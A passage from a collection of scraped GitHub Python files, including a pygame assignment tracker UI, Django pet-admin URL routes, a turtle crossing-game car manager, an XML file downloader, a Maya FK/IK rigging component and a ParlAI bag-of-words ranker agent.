(10+self.rect.x, 110+self.rect.y))\n #start date\n start_text = header_font.render(\"Start Date: {}\".format(self.assignment.start_date), True, self.text_norm)\n surface.blit(start_text, (10+self.rect.x, 140+self.rect.y))\n #notes\n notes_text = notes_font.render(\"Notes: \", True, self.text_norm)\n surface.blit(notes_text, (10+self.rect.x, 170+self.rect.y))\n #draws the notes onto new lines (40 characters max per line)\n notes_lines = new_line(self.assignment.notes).split('$_$')\n for i in range(len(notes_lines)):\n notes_text = notes_font.render(notes_lines[i], True, self.text_norm)\n surface.blit(notes_text, (10+self.rect.x, 190+self.rect.y+(i*20)))\n\n\nclass InputBox:\n\n def __init__(self, x, y, w, h, text=''):\n self.rect = pg.Rect(x, y, w, h)\n self.color = COLOR_INACTIVE\n self.text = text\n self.txt_surface = text_box_font.render(text, True, self.color)\n self.active = False\n self.next_tab = False\n self.tab = False\n\n def handle_event(self, event):\n if event.type == pg.MOUSEBUTTONUP or self.tab:\n # If the user clicked on the input_box rect.\n if self.tab or self.rect.collidepoint(event.pos):\n self.active = not self.active\n else:\n self.active = False\n # Change the current color of the input box.\n self.color = COLOR_ACTIVE if self.active else COLOR_INACTIVE\n if self.tab:\n self.tab = False\n #typing\n if event.type == pg.KEYDOWN:\n if self.active:\n # if event.key == pg.K_RETURN:\n # print(self.text)\n # #self.text = ''\n if event.key == pg.K_TAB:\n self.next_tab = True\n self.active = False\n self.color = COLOR_INACTIVE\n elif event.key == pg.K_BACKSPACE:\n self.text = self.text[:-1]\n #if the text is too long\n elif len(self.text) > 45:\n return 0\n # elif event.unicode in \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`1234567890-=~!@#$%^&*()_+[]\\\\|}{;':\\\",./<>? \":\n elif event.key == pg.K_RETURN:\n # self.txt_surface = text_box_font.render(self.text, True, self.color)\n return 2\n else:\n self.text += event.unicode\n # Re-render the text.\n self.txt_surface = text_box_font.render(self.text, True, self.color)\n return 1\n\n def update(self, surface):\n #fill the shape with background colour\n #the extra +2s are for when the text bar is extended and you delete characters\n # to retract the bar\n surface.fill(GRAY, (self.rect.x, self.rect.y, self.rect.w+2, self.rect.h+2))\n\n # Resize the box if the text is too long.\n width = max(200, self.txt_surface.get_width()+10)\n self.rect.w = width\n\n def draw(self, surface):\n # Blit the text.\n surface.blit(self.txt_surface, (self.rect.x+5, self.rect.y+5))\n # Blit the rect.\n pg.draw.rect(surface, self.color, self.rect, 2)\n\n def clear_text(self):\n self.text = ''\n\n\nclass Popup(pg.sprite.Sprite):\n # Constructor. Pass in the color of the block,\n # and its x and y position\n def __init__(self,pos,rect,text_list=['', '', str(dt.now().year)+'-', '', '']):\n # Call the parent class (Sprite) constructor\n pg.sprite.Sprite.__init__(self)\n\n # Create an image of the block, and fill it with a color.\n # This could also be an image loaded from the disk.\n self.image = pg.Surface(pos)\n self.image.fill(GRAY)\n\n self.rect = rect\n\n input_box_title = InputBox(30+self.rect.x, 60+self.rect.y, 140, 20, text_list[0])\n input_box_section = InputBox(30+self.rect.x, 150+self.rect.y, 140, 20, text_list[1])\n input_box_due = InputBox(30+self.rect.x, 240+self.rect.y, 140, 20, text_list[2])\n input_box_start = InputBox(30+self.rect.x, 330+self.rect.y, 140, 20, text_list[3])\n input_box_notes = InputBox(30+self.rect.x, 420+self.rect.y, 140, 20, text_list[4])\n self.input_boxes = [input_box_title, input_box_section, input_box_due, input_box_start, input_box_notes]\n\n self.x1,self.y1 = rect2start_pos(self.rect)\n self.x2,self.y2 = rect2end_pos(self.rect)\n\n self.exit_win_rect = (self.x2-30,self.y1,30,30)\n self.submit_rect = (self.x2-30,self.y2-30,30,30)\n\n def update(self, surface):\n #exit window \"x\" button\n pg.draw.line(surface, RED, (self.x2-26,self.y1+4), (self.x2-4,self.y1+26), 2)\n pg.draw.line(surface, RED, (self.x2-26,self.y1+26), (self.x2-4,self.y1+4), 2)\n\n #Green cirle to submit the assignment\n pg.draw.circle(surface, GREEN, (self.x2-15,self.y2-15), 11, 2)\n pg.draw.lines(surface, BLACK, False, [(self.x2,self.y2-30),(self.x2-30,self.y2-30),(self.x2-30,self.y2)], 2)\n\n #add assignment title\n pg.draw.line(surface, BLACK, (self.x2-30,self.y1),(self.x2-30,self.y1+30), 2)\n pg.draw.line(surface, BLACK, (self.x1,self.y1+30),(self.x2,self.y1+30), 2)\n\n title_text = title_font.render(\"Assignment\", True, BLACK)\n\n surface.blit(title_text, (10+self.rect.x, self.rect.y+2))\n\n #box names\n title_text = header_font.render(\"Title*:\", True, BLACK)\n surface.blit(title_text, (30+self.rect.x, 40+self.rect.y))\n section_text = header_font.render(\"Class:\", True, BLACK)\n surface.blit(section_text, (30+self.rect.x, 130+self.rect.y))\n due_text = header_font.render(\"Due date (YYYY-MM-DDTHH:mm)*:\", True, BLACK)\n surface.blit(due_text, (30+self.rect.x, 220+self.rect.y))\n start_text = header_font.render(\"Start date:\", True, BLACK)\n surface.blit(start_text, (30+self.rect.x, 310+self.rect.y))\n notes_text = header_font.render(\"Notes:\", True, BLACK)\n surface.blit(notes_text, (30+self.rect.x, 400+self.rect.y))\n notes_text = text_box_font.render(\"(THH:mm is optional)\", True, BLACK)\n surface.blit(notes_text, (30+self.rect.x, 460+self.rect.y))\n","repo_name":"wflosin/Assignment-Progress","sub_path":"helperClasses.py","file_name":"helperClasses.py","file_ext":"py","file_size_in_byte":8888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"3381903842","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n\turl(r'^$', views.index, name='index'),\n\turl(r'^animal/$', views.pets, name='pets'),\n url(r'^animal/(?P\\d+)$', views.PetDetailView, name='pet-detail'),\n url(r'^animal/add/$', views.PetCreate, name='PetCreate'),\n url(r'^fa/$', views.fa, name='fa'),\n url(r'^fa/(?P\\d+)$', views.FADetailView, name='fa-detail'),\n url(r'^fa/add/$', views.add_fa, name='add_fa'), \n\turl(r'^full/$', views.full, name='full'),\n]","repo_name":"tapaloeil/PetAdmin","sub_path":"Pet/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"10834207312","text":"from turtle import Turtle\r\nfrom random import choice, randint\r\n\r\n\r\nCOLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"purple\"]\r\nSTARTING_MOVE_DISTANCE = 5\r\nMOVE_INCREMENT = 10\r\n\r\n\r\nclass CarManager:\r\n def __init__(self):\r\n self.all_cars = []\r\n self.move_distance = 5\r\n\r\n def create_car(self):\r\n rand_num = randint(1, 5)\r\n if rand_num == 1:\r\n new_car = Turtle('square')\r\n new_car.shapesize(1, 2, 0)\r\n new_car.color(choice(COLORS))\r\n new_car.penup()\r\n start_x = 320\r\n rand_y = randint(-200, 200)\r\n new_car.goto(start_x, rand_y)\r\n self.all_cars.append(new_car)\r\n\r\n def car_move(self):\r\n for car in self.all_cars:\r\n car.backward(self.move_distance)\r\n\r\n def car_speed_up(self):\r\n self.move_distance += MOVE_INCREMENT\r\n","repo_name":"joshrivera116/crossyRoad","sub_path":"car_manager.py","file_name":"car_manager.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"35230807133","text":"import os\nfrom connectors.url_connector import UrlConnector\nfrom xml_handler.parser import Extractor, FileNameExtractor\n\n\nclass DownloadXml(object):\n def __init__(self, url, file_type, download_to):\n self._connector = UrlConnector(url)\n self.extractor = Extractor(FileNameExtractor, file_type)\n self.content = None\n self.file_names = {}\n self.download_to = download_to\n\n def get_content(self):\n self.content = self._connector.get_url_text()\n\n def get_file_names_from_content(self):\n file_names = self.extractor.extract_from_string(self.content)\n for ea in file_names:\n name = ea.split(\"/\")[-1]\n self.file_names[name] = ea\n\n def download_data(self):\n _files = []\n for file_name, url in self.file_names.items():\n if self._connector.is_downloadable(url):\n download_path = os.path.join(self.download_to, file_name)\n with open(download_path, 'wb') as fh:\n for chunk in self._connector.download_data(url, chunk_size=8192):\n fh.write(chunk)\n _files.append(download_path)\n return _files\n\n def run(self):\n self.get_content()\n self.get_file_names_from_content()\n return self.download_data()\n","repo_name":"wanderingsol/SteelEye","sub_path":"xml_handler/download_xml.py","file_name":"download_xml.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"6226457792","text":"\"\"\"\nModule for creating an AutoRigger fk/ik chain component\n\nFK/IK chain component - Animateable component\nRequires a joint chain length of 3\nContains two sets of controls for animating in FK and IK\nControl Flags: FK[...], IK, Pole Vector, FK/IK Switch\n\"\"\"\n\n# create an fk/ik chain metadata node first\n\n# needs fk joints x3\n# ik joints x3\n\n# pole vector transform?\n#\n\n# fk/ik switch attribute - in metadata node???\n\n\n# tagging arm joints:\n# chain root = \"arm\"\n# chain end = \"arm\"\n# chain terminator = \"arm\"\n\n# Features\n# ToDo: make this work with any number of middle joints\n# ToDo: add bendy/rotate joints in between each bone\n# ToDo: make sure hide attrs is working - done\n# ToDo: finish ik stretch setup - done\n# ToDo: setup blend color node for result chain, but for translate as well - done\n# ToDo: setup ik knee pinning - done\n# ToDo: connect ik handle twist into new ik ctrl knee twist attribute - done\n# ToDo: add additional tweak offset control to knee joint\n# ToDo: add soft Ik solver\n\n# Cleanup\n# ToDo: remove dist_ctrl_l_foot_ik_mid_stretch - done\n# ToDo: remove dist_ctrl_l_foot_ik_end_stretch - done\n# ToDo: remove jt_l_thigh_ik_pos_null - done\n# ToDo: connect rootIkJnt to kneePin and stretch matrix1 - done\n# ToDo: knee pinning solve cleanup: when stretch is on use the stretch distance in knee pinning mult\n# when stretch is off, use root to end ik jnt distance in knee pinning mult\n\nimport maya.cmds as cmds\nimport maya.OpenMaya as OpenMaya\nimport math\nfrom src.rigLib.base import transform\nfrom src.rigLib.base import control\nfrom src.rigLib.base import joint\nfrom src.utils import apiUtils\n\n\nclass FkIkChain(object):\n def __init__(self, joints=(), rootJnt=None, midJnt=None, endJnt=None, ikCtrl=None, ikPvCtrl=None, ikTweakCtrl=None,\n fkRootCtrl=None, fkMidCtrl=None, fkEndCtrl=None, fkIkSwitch=None):\n self.joints = joints\n\n self.rootJnt = rootJnt\n self.midJnt = midJnt\n self.endJnt = endJnt\n\n self.poleVector = None\n self.ikHandle = None\n\n self.ikCtrl = ikCtrl\n self.ikPvCtrl = ikPvCtrl\n self.ikTweakCtrl = ikTweakCtrl\n\n self.fkRootCtrl = fkRootCtrl\n self.fkMidCtrl = fkMidCtrl\n self.fkEndCtrl = fkEndCtrl\n\n self.fkIkSwitch = fkIkSwitch\n\n self.ikCtrls = (self.ikCtrl, self.ikPvCtrl, self.ikTweakCtrl)\n self.fkCtrls = (self.fkRootCtrl, self.fkMidCtrl, self.fkEndCtrl)\n\n def create_block(self):\n if len(self.joints) < 3:\n cmds.warning('Could not build FkIkChain block, not enough joints', self.joints)\n return False\n\n # create joints\n rootJntBind = joint.Joint(name=self.joints[0], create=False)\n midJntBind = joint.Joint(name=self.joints[1], create=False)\n endJntBind = joint.Joint(name=self.joints[2], create=False)\n\n self.rootJnt = joint.Joint(name=rootJntBind.name.replace('bind', 'result'),\n translateTo=rootJntBind, rotateTo=rootJntBind,\n jointOrient=rootJntBind.get_joint_orient(), jointTag='ikfkChain_root')\n self.midJnt = joint.Joint(name=midJntBind.name.replace('bind', 'result'),\n translateTo=midJntBind, rotateTo=midJntBind,\n jointOrient=midJntBind.get_joint_orient(), jointTag='ikfkChain_mid', parent=self.rootJnt)\n self.endJnt = joint.Joint(name=endJntBind.name.replace('bind', 'result'),\n translateTo=endJntBind, rotateTo=endJntBind,\n jointOrient=endJntBind.get_joint_orient(), jointTag='ikfkChain_end', parent=self.midJnt)\n cmds.makeIdentity(self.rootJnt, apply=True)\n\n\n self.rootJntFk = joint.Joint(name=self.rootJnt.name.replace('result', 'fk'), translateTo=self.rootJnt, rotateTo=self.rootJnt)\n self.midJntFk = joint.Joint(name=self.midJnt.name.replace('result', 'fk'), translateTo=self.midJnt, rotateTo=self.midJnt, parent=self.rootJntFk)\n self.endJntFk = joint.Joint(name=self.endJnt.name.replace('result', 'fk'), translateTo=self.endJnt, rotateTo=self.endJnt, parent=self.midJntFk)\n cmds.makeIdentity(self.rootJntFk, apply=True)\n\n self.rootJntIk = joint.Joint(name=self.rootJnt.name.replace('result', 'ik'), translateTo=self.rootJnt, rotateTo=self.rootJnt)\n self.midJntIk = joint.Joint(name=self.midJnt.name.replace('result', 'ik'), translateTo=self.midJnt, rotateTo=self.midJnt, parent=self.rootJntIk)\n self.endJntIk = joint.Joint(name=self.endJnt.name.replace('result', 'ik'), translateTo=self.endJnt, rotateTo=self.endJnt, parent=self.midJntIk)\n cmds.makeIdentity(self.rootJntIk, apply=True)\n\n # create fk ctrls\n self.fkRootCtrl = control.Control(name=self.rootJnt.name.replace('jt', 'ctrl').replace('result', 'fk'),\n translateTo=self.rootJnt, rotateTo=self.rootJnt, normal=(1, 0, 0))\n\n self.fkMidCtrl = control.Control(name=self.midJnt.name.replace('jt', 'ctrl').replace('result', 'fk'),\n translateTo=self.midJnt, rotateTo=self.midJnt, normal=(1, 0, 0))\n\n self.fkEndCtrl = control.Control(name=self.endJnt.name.replace('jt', 'ctrl').replace('result', 'fk'),\n translateTo=self.endJnt, rotateTo=self.endJnt)\n\n self.fkRootCtrl.create_null_grps()\n self.fkMidCtrl.create_null_grps()\n self.fkEndCtrl.create_null_grps()\n\n self.fkMidCtrl.nullGrp.set_parent(self.fkRootCtrl.name)\n self.fkEndCtrl.nullGrp.set_parent(self.fkMidCtrl.name)\n\n self.fkRootCtrl.lockChannels(('t', 's', 'v'))\n self.fkMidCtrl.lockChannels(('t', 's', 'v'))\n self.fkEndCtrl.lockChannels(('t', 's', 'v'))\n\n self.fkRootCtrl.hideChannels(('t', 's', 'v'))\n self.fkMidCtrl.hideChannels(('t', 's', 'v'))\n self.fkEndCtrl.hideChannels(('t', 's', 'v'))\n\n fkRootOrientConstraint = cmds.orientConstraint(self.fkRootCtrl.name, self.rootJntFk)[0]\n fkMidOrientConstraint = cmds.orientConstraint(self.fkMidCtrl.name, self.midJntFk)[0]\n fkEndOrientConstraint = cmds.orientConstraint(self.fkEndCtrl.name, self.endJntFk)[0]\n\n # create ik ctrls\n self.ikCtrl = control.Control(name=self.endJnt.name.replace('jt', 'ctrl').replace('result', 'ik'),\n translateTo=self.endJnt, shape='box')\n self.ikCtrl.create_null_grps()\n self.ikCtrl.lockChannels(('s', 'v'))\n self.ikCtrl.hideChannels(('s', 'v'))\n\n cmds.addAttr(self.ikCtrl.name, longName='ikChainControls', attributeType='enum', enumName='-----', keyable=True)\n cmds.setAttr('%s.ikChainControls' % self.ikCtrl.name, lock=True)\n cmds.addAttr(self.ikCtrl.name, longName='ikBlend', attributeType='float', defaultValue=1, minValue=0, maxValue=1, keyable=True)\n cmds.addAttr(self.ikCtrl.name, longName='stretch', attributeType='float', defaultValue=0, minValue=0, maxValue=1, keyable=True)\n cmds.addAttr(self.ikCtrl.name, longName='kneePin', attributeType='float', defaultValue=0, minValue=0, maxValue=1, keyable=True)\n cmds.addAttr(self.ikCtrl.name, longName='twist', attributeType='float', defaultValue=0, keyable=True)\n\n self.ikHandle = cmds.ikHandle(name='%s_ikHandle' % self.ikCtrl.name, startJoint=self.rootJntIk, endEffector=self.endJntIk,\n solver='ikRPsolver')\n\n cmds.rename(self.ikHandle[1], '%s_eff' % self.endJntIk)\n self.ikHandle = transform.Transform(name=self.ikHandle[0], create=False)\n ikHandleParentConstraint = cmds.parentConstraint(self.ikCtrl.name, self.ikHandle.name)[0]\n cmds.connectAttr('%s.twist' % self.ikCtrl.name, '%s.twist' % self.ikHandle.name)\n\n # create pv ctrl\n self.ikPvCtrl = control.Control(name=self.midJnt.name.replace('jt', 'ctrl').replace('result', 'pv'),\n translate=self.set_pole_vector()[0], rotate=self.set_pole_vector()[1], shape='halfPyramid')\n self.ikPvCtrl.create_null_grps()\n cmds.poleVectorConstraint(self.ikPvCtrl.name, self.ikHandle.name)\n self.ikPvCtrl.lockChannels(('r', 's', 'v'))\n self.ikPvCtrl.hideChannels(('r', 's', 'v'))\n\n # Setup stretchy ik\n ikStretchMidDistance = cmds.createNode('distanceBetween', name='dist_%s_mid_stretch' % self.ikCtrl.name)\n cmds.connectAttr('%s.worldMatrix[0]' % self.rootJntIk, '%s.inMatrix1' % ikStretchMidDistance)\n cmds.connectAttr('%s.worldMatrix[0]' % self.midJntIk, '%s.inMatrix2' % ikStretchMidDistance)\n\n ikStretchEndDistance = cmds.createNode('distanceBetween', name='dist_%s_end_stretch' % self.ikCtrl.name)\n cmds.connectAttr('%s.worldMatrix[0]' % self.midJntIk, '%s.inMatrix1' % ikStretchEndDistance)\n cmds.connectAttr('%s.worldMatrix[0]' % self.endJntIk, '%s.inMatrix2' % ikStretchEndDistance)\n\n ikStretchCtrlDistance = cmds.createNode('distanceBetween', name='dist_%s_ctrl_stretch' % self.ikCtrl.name)\n cmds.connectAttr('%s.worldMatrix[0]' % self.rootJntIk, '%s.inMatrix1' % ikStretchCtrlDistance)\n cmds.connectAttr('%s.worldMatrix[0]' % self.ikHandle.name, '%s.inMatrix2' % ikStretchCtrlDistance)\n\n ikStretchFactorMult = cmds.createNode('multiplyDivide', name='div_%s_stretch' % self.ikCtrl.name)\n cmds.setAttr('%s.operation' % ikStretchFactorMult, 2)\n cmds.connectAttr('%s.distance' % ikStretchCtrlDistance, '%s.input1X' % ikStretchFactorMult)\n ikStretchSumDistance = float(cmds.getAttr('%s.distance' % ikStretchMidDistance) +\n cmds.getAttr('%s.distance' % ikStretchEndDistance))\n cmds.setAttr('%s.input2X' % ikStretchFactorMult, ikStretchSumDistance)\n\n ikStretchFactorCond = cmds.createNode('condition', name='cond_%s_stretch' % self.ikCtrl.name)\n cmds.setAttr('%s.operation' % ikStretchFactorCond, 2)\n cmds.connectAttr('%s.distance' % ikStretchCtrlDistance, '%s.firstTerm' % ikStretchFactorCond)\n cmds.setAttr('%s.secondTerm' % ikStretchFactorCond, ikStretchSumDistance)\n cmds.connectAttr('%s.outputX' % ikStretchFactorMult, '%s.colorIfTrueR' % ikStretchFactorCond)\n\n ikStretchMidMult = cmds.createNode('multiplyDivide', name='mult_%s_mid_stretch' % self.ikCtrl.name)\n cmds.connectAttr('%s.outColorR' % ikStretchFactorCond, '%s.input1X' % ikStretchMidMult)\n cmds.setAttr('%s.input2X' % ikStretchMidMult, cmds.getAttr('%s.distance' % ikStretchMidDistance))\n\n ikStretchEndMult = cmds.createNode('multiplyDivide', name='mult_%s_end_stretch' % self.ikCtrl.name)\n cmds.connectAttr('%s.outColorR' % ikStretchFactorCond, '%s.input1X' % ikStretchEndMult)\n cmds.setAttr('%s.input2X' % ikStretchEndMult, cmds.getAttr('%s.distance' % ikStretchEndDistance))\n\n ikStretchAttrColor = cmds.createNode('blendColors', name='blend_%s_attr_stretch' % self.ikCtrl.name)\n cmds.connectAttr('%s.stretch' % self.ikCtrl.name, '%s.blender' % ikStretchAttrColor)\n cmds.connectAttr('%s.outputX' % ikStretchMidMult, '%s.color1R' % ikStretchAttrColor)\n cmds.connectAttr('%s.outputX' % ikStretchEndMult, '%s.color1G' % ikStretchAttrColor)\n cmds.setAttr('%s.color2R' % ikStretchAttrColor, cmds.getAttr('%s.distance' % ikStretchMidDistance))\n cmds.setAttr('%s.color2G' % ikStretchAttrColor, cmds.getAttr('%s.distance' % ikStretchEndDistance))\n\n # Setup knee pinning\n ikKneePinRootDistance = cmds.createNode('distanceBetween', name='dist_%s_root_kneePin' % self.ikCtrl.name)\n cmds.connectAttr('%s.worldMatrix[0]' % self.rootJntIk, '%s.inMatrix1' % ikKneePinRootDistance)\n cmds.connectAttr('%s.worldMatrix[0]' % self.ikPvCtrl.name, '%s.inMatrix2' % ikKneePinRootDistance)\n\n ikKneePinEndDistance = cmds.createNode('distanceBetween', name='dist_%s_end_kneePin' % self.ikCtrl.name)\n cmds.connectAttr('%s.worldMatrix[0]' % self.ikPvCtrl.name, '%s.inMatrix1' % ikKneePinEndDistance)\n cmds.connectAttr('%s.worldMatrix[0]' % self.ikHandle.name, '%s.inMatrix2' % ikKneePinEndDistance)\n\n ikKneePinAttrColor = cmds.createNode('blendColors', name='blend_%s_attr_kneePin' % self.ikCtrl.name)\n cmds.connectAttr('%s.kneePin' % self.ikCtrl.name, '%s.blender' % ikKneePinAttrColor)\n cmds.connectAttr('%s.distance' % ikKneePinRootDistance, '%s.color1R' % ikKneePinAttrColor)\n cmds.connectAttr('%s.distance' % ikKneePinEndDistance, '%s.color1G' % ikKneePinAttrColor)\n cmds.connectAttr('%s.outputR' % ikStretchAttrColor, '%s.color2R' % ikKneePinAttrColor)\n cmds.connectAttr('%s.outputG' % ikStretchAttrColor, '%s.color2G' % ikKneePinAttrColor)\n cmds.connectAttr('%s.outputR' % ikKneePinAttrColor, '%s.translateX' % self.midJntIk)\n cmds.connectAttr('%s.outputG' % ikKneePinAttrColor, '%s.translateX' % self.endJntIk)\n\n # Setup ik/fk-to-result chain blend\n thighResultPosBlendColors = cmds.createNode('blendColors', name='blend_%s_pos' % self.rootJnt.name)\n kneeResultPosBlendColors = cmds.createNode('blendColors', name='blend_%s_pos' % self.midJnt.name)\n ankleResultPosBlendColors = cmds.createNode('blendColors', name='blend_%s_pos' % self.endJnt.name)\n\n cmds.connectAttr('%s.translate' % self.rootJntIk, '%s.color1' % thighResultPosBlendColors)\n cmds.connectAttr('%s.translate' % self.rootJntFk, '%s.color2' % thighResultPosBlendColors)\n cmds.connectAttr('%s.output' % thighResultPosBlendColors, '%s.translate' % self.rootJnt)\n cmds.connectAttr('%s.ikBlend' % self.ikCtrl.name, '%s.blender' % thighResultPosBlendColors)\n\n cmds.connectAttr('%s.translate' % self.midJntIk, '%s.color1' % kneeResultPosBlendColors)\n cmds.connectAttr('%s.translate' % self.midJntFk, '%s.color2' % kneeResultPosBlendColors)\n cmds.connectAttr('%s.output' % kneeResultPosBlendColors, '%s.translate' % self.midJnt)\n cmds.connectAttr('%s.ikBlend' % self.ikCtrl.name, '%s.blender' % kneeResultPosBlendColors)\n\n cmds.connectAttr('%s.translate' % self.endJntIk, '%s.color1' % ankleResultPosBlendColors)\n cmds.connectAttr('%s.translate' % self.endJntFk, '%s.color2' % ankleResultPosBlendColors)\n cmds.connectAttr('%s.output' % ankleResultPosBlendColors, '%s.translate' % self.endJnt)\n cmds.connectAttr('%s.ikBlend' % self.ikCtrl.name, '%s.blender' % ankleResultPosBlendColors)\n\n thighResultRotBlendColors = cmds.createNode('blendColors', name='blend_%s_rot' % self.rootJnt.name)\n kneeResultRotBlendColors = cmds.createNode('blendColors', name='blend_%s_rot' % self.midJnt.name)\n ankleResultRotBlendColors = cmds.createNode('blendColors', name='blend_%s_rot' % self.endJnt.name)\n\n cmds.connectAttr('%s.rotate' % self.rootJntIk, '%s.color1' % thighResultRotBlendColors)\n cmds.connectAttr('%s.rotate' % self.rootJntFk, '%s.color2' % thighResultRotBlendColors)\n cmds.connectAttr('%s.output' % thighResultRotBlendColors, '%s.rotate' % self.rootJnt)\n cmds.connectAttr('%s.ikBlend' % self.ikCtrl.name, '%s.blender' % thighResultRotBlendColors)\n\n cmds.connectAttr('%s.rotate' % self.midJntIk, '%s.color1' % kneeResultRotBlendColors)\n cmds.connectAttr('%s.rotate' % self.midJntFk, '%s.color2' % kneeResultRotBlendColors)\n cmds.connectAttr('%s.output' % kneeResultRotBlendColors, '%s.rotate' % self.midJnt)\n cmds.connectAttr('%s.ikBlend' % self.ikCtrl.name, '%s.blender' % kneeResultRotBlendColors)\n\n cmds.connectAttr('%s.rotate' % self.endJntIk, '%s.color1' % ankleResultRotBlendColors)\n cmds.connectAttr('%s.rotate' % self.endJntFk, '%s.color2' % ankleResultRotBlendColors)\n cmds.connectAttr('%s.output' % ankleResultRotBlendColors, '%s.rotate' % self.endJnt)\n cmds.connectAttr('%s.ikBlend' % self.ikCtrl.name, '%s.blender' % ankleResultRotBlendColors)\n\n # Setup soft ik\n\n\n # Set attribute settings\n cmds.setAttr('%s.translateX' % self.ikPvCtrl.name, 30)\n\n\n def set_pole_vector(self):\n startV = apiUtils.set_mVector(self.rootJntIk.get_translation())\n midV = apiUtils.set_mVector(self.midJntIk.get_translation())\n endV = apiUtils.set_mVector(self.endJntIk.get_translation())\n\n startEnd = endV - startV\n startMid = midV - startV\n dotP = startMid * startEnd\n proj = float(dotP) / float(startEnd.length())\n startEndN = startEnd.normal()\n projV = startEndN * proj\n arrowV = startMid - projV\n arrowV *= 2\n finalV = arrowV + midV\n pos = (finalV.x, finalV.y, finalV.z)\n\n cross1 = startEnd ^ startMid\n cross1.normalize()\n cross2 = cross1 ^ arrowV\n cross2.normalize()\n arrowV.normalize()\n matrixV = [arrowV.x, arrowV.y, arrowV.z, 0,\n cross1.x, cross1.y, cross1.z, 0,\n cross2.x, cross2.y, cross2.z, 0,\n 0, 0, 0, 1]\n\n matrixM = OpenMaya.MMatrix()\n OpenMaya.MScriptUtil.createMatrixFromList(matrixV, matrixM)\n matrixFn = OpenMaya.MTransformationMatrix(matrixM)\n\n rot = matrixFn.eulerRotation()\n rotEuler = (rot.x/math.pi*180, rot.y/math.pi*180, rot.z/math.pi*180)\n\n return pos, rotEuler\n\n def get_pole_vector(self):\n return self.poleVector\n\n def get_joints(self):\n return self.joints()\n\n\n\"\"\"\nimport maya.cmds as cmds\nimport maya.OpenMaya as OpenMaya\n\nfrom src.rigLib.base import transform\nfrom src.rigLib.base import joint\nfrom src.rigLib.base import locator\nfrom src.rigLib.base import control\nfrom src.utils import apiUtils\nfrom src.rigLib.blocks import fkIkChain\n\nreload(fkIkChain)\nreload(joint)\n\nlegJnts = ('jt_thigh_bind', 'jt_knee_bind', 'jt_ankle_bind')\ntest = fkIkChain.FkIkChain(legJnts)\n#test.create_block()\n\n\nobj = apiUtils.get_mObject('jt_knee_bind')\n\nfnNode = OpenMaya.MFnDependencyNode(obj)\n\nmatrixAttr = fnNode.attribute('worldMatrix')\n\nmatrixPlug = OpenMaya.MPlug(obj, matrixAttr)\nmatrixPlug = matrixPlug.elementByLogicalIndex(0)\n\nmatrixObj = matrixPlug.asMObject()\n\nmatrixData = OpenMaya.MFnMatrixData(matrixObj)\nmatrix = matrixData.matrix()\n\ntransformMatrix = OpenMaya.MTransformationMatrix(matrix)\n\ntrans = transformMatrix.translation(OpenMaya.MSpace.kWorld)\n\nprint trans.x, trans.y, trans.z\n\n\n\nobj = apiUtils.get_mObject('jt_knee_bind')\n\nfn = OpenMaya.MFnTransform(obj)\nmatrix = fn.transformation().asMatrix()\n\nmt = OpenMaya.MTransformationMatrix(matrix)\ntrans = mt.translation(OpenMaya.MSpace.kWorld)\nprint trans.x, trans.y, trans.z\n\n\"\"\"","repo_name":"tombanker/AutoRigger","sub_path":"src/rigLib/blocks/fkIkChain.py","file_name":"fkIkChain.py","file_ext":"py","file_size_in_byte":18657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74049959144","text":"from typing import Optional\nfrom parlai.core.params import ParlaiParser\nfrom parlai.core.opt import Opt\nfrom parlai.core.torch_ranker_agent import TorchRankerAgent\nimport torch\nfrom torch import nn\n\n\nclass ExampleBagOfWordsModel(nn.Module):\n \"\"\"\n This constructs a simple bag of words model.\n\n It contains a encoder for encoding candidates and context.\n \"\"\"\n\n def __init__(self, opt, dictionary):\n super().__init__()\n self.hidden_dim = opt.get('hidden_dim', 512)\n self.dict = dictionary\n self.encoder = nn.EmbeddingBag(len(self.dict), self.hidden_dim)\n\n def encode_text(self, text_vecs):\n \"\"\"\n This function encodes a text_vec to a text encoding.\n \"\"\"\n return self.encoder(text_vecs)\n\n def forward(self, batch, cand_vecs, cand_encs=None):\n bsz = cand_vecs.size(0)\n if cand_encs is None:\n if cand_vecs.dim() == 3:\n # if dim = 3, bsz * num_candidates * seq_length\n # In this case, we are using inline candidates\n cand_vecs = cand_vecs.reshape(-1, cand_vecs.size(2))\n cand_encs = self.encode_text(cand_vecs)\n if cand_encs.size(0) != bsz:\n # Some cases, we could also use batch candidates,\n # they will be size of bsz * seq_length\n # so we don't have to use the extra treatment\n cand_encs = cand_encs.reshape(bsz, -1, self.hidden_dim)\n context_encodings = self.encode_text(batch.text_vec)\n if context_encodings.dim() != cand_encs.dim():\n return torch.sum(\n context_encodings.unsqueeze(1).expand_as(cand_encs) * cand_encs, 2\n )\n return context_encodings.mm(cand_encs.t())\n\n\nclass TraAgent(TorchRankerAgent):\n \"\"\"\n Example subclass of TorchRankerAgent.\n\n This particular implementation is a simple bag-of-words model, which demonstrates\n the minimum implementation requirements to make a new ranking model.\n \"\"\"\n\n @classmethod\n def add_cmdline_args(\n cls, parser: ParlaiParser, partial_opt: Optional[Opt] = None\n ) -> ParlaiParser:\n \"\"\"\n Add CLI args.\n \"\"\"\n super().add_cmdline_args(parser, partial_opt=partial_opt)\n arg_group = parser.add_argument_group('ExampleBagOfWordsModel Arguments')\n arg_group.add_argument('--hidden-dim', type=int, default=512)\n return parser\n\n def score_candidates(self, batch, cand_vecs, cand_encs=None):\n \"\"\"\n This function takes in a Batch object as well as a Tensor of candidate vectors.\n\n It must return a list of scores corresponding to the likelihood that the\n candidate vector at that index is the proper response. If `cand_encs` is not\n None (when we cache the encoding of the candidate vectors), you may use these\n instead of calling self.model on `cand_vecs`.\n \"\"\"\n scores = self.model.forward(batch, cand_vecs, cand_encs)\n return scores\n\n def 